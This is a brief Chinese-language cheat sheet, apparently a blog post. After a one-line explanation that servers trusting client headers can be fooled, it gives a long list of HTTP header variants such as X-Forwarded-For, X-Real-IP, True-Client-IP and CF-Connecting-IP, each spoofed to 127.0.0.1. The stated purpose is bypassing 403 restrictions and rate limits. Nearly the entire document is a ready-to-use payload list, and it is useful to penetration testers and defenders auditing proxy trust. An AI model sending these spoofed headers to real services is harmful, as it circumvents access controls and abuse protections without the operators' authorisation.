原理
某些服務可能根據HTTP頭部的資訊（如User-Agent、X-Forwarded-For等）來識別使用者。如果伺服器未正確驗證這些頭部，攻擊者可透過偽造這些頭部來繞過限制。
使用HTTP頭進行403繞過 速率繞過 Rate Limit Bypass
HTTP Headers列表
CACHE_INFO: 127.0.0.1
CF_CONNECTING_IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
CLIENT_IP: 127.0.0.1
Client-IP: 127.0.0.1
COMING_FROM: 127.0.0.1
CONNECT_VIA_IP: 127.0.0.1
FORWARD_FOR: 127.0.0.1
FORWARD-FOR: 127.0.0.1
FORWARDED_FOR_IP: 127.0.0.1
FORWARDED_FOR: 127.0.0.1
FORWARDED-FOR-IP: 127.0.0.1
FORWARDED-FOR: 127.0.0.1
FORWARDED: 127.0.0.1
HTTP-CLIENT-IP: 127.0.0.1
HTTP-FORWARDED-FOR-IP: 127.0.0.1
HTTP-PC-REMOTE-ADDR: 127.0.0.1
HTTP-PROXY-CONNECTION: 127.0.0.1
HTTP-VIA: 127.0.0.1
HTTP-X-FORWARDED-FOR-IP: 127.0.0.1
HTTP-X-IMFORWARDS: 127.0.0.1
HTTP-XROXY-CONNECTION: 127.0.0.1
PC_REMOTE_ADDR: 127.0.0.1
PRAGMA: 127.0.0.1
PROXY_AUTHORIZATION: 127.0.0.1
PROXY_CONNECTION: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
PROXY: 127.0.0.1
REMOTE_ADDR: 127.0.0.1
Source-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Via: 127.0.0.1
VIA: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
X_CLUSTER_CLIENT_IP: 127.0.0.1
X_COMING_FROM: 127.0.0.1
X_DELEGATE_REMOTE_HOST: 127.0.0.1
X_FORWARDED_FOR_IP: 127.0.0.1
X_FORWARDED_FOR: 127.0.0.1
X_FORWARDED: 127.0.0.1
X_IMFORWARDS: 127.0.0.1
X_LOCKING: 127.0.0.1
X_LOOKING: 127.0.0.1
X_REAL_IP: 127.0.0.1
X-Backend-Host: 127.0.0.1
X-BlueCoat-Via: 127.0.0.1
X-Cache-Info: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 127.0.0.1, 127.0.0.1, 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-From-IP: 127.0.0.1
X-From: 127.0.0.1
X-Gateway-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Ip: 127.0.0.1
X-Original-Host: 127.0.0.1
X-Original-IP: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originally-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-ProxyMesh-IP: 127.0.0.1
X-ProxyUser-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-True-Client-IP: 127.0.0.1
XONNECTION: 127.0.0.1
XPROXY: 127.0.0.1
XROXY_CONNECTION: 127.0.0.1
Z-Forwarded-For: 127.0.0.1
ZCACHE_CONTROL: 127.0.0.1
轉載請註明出處及連結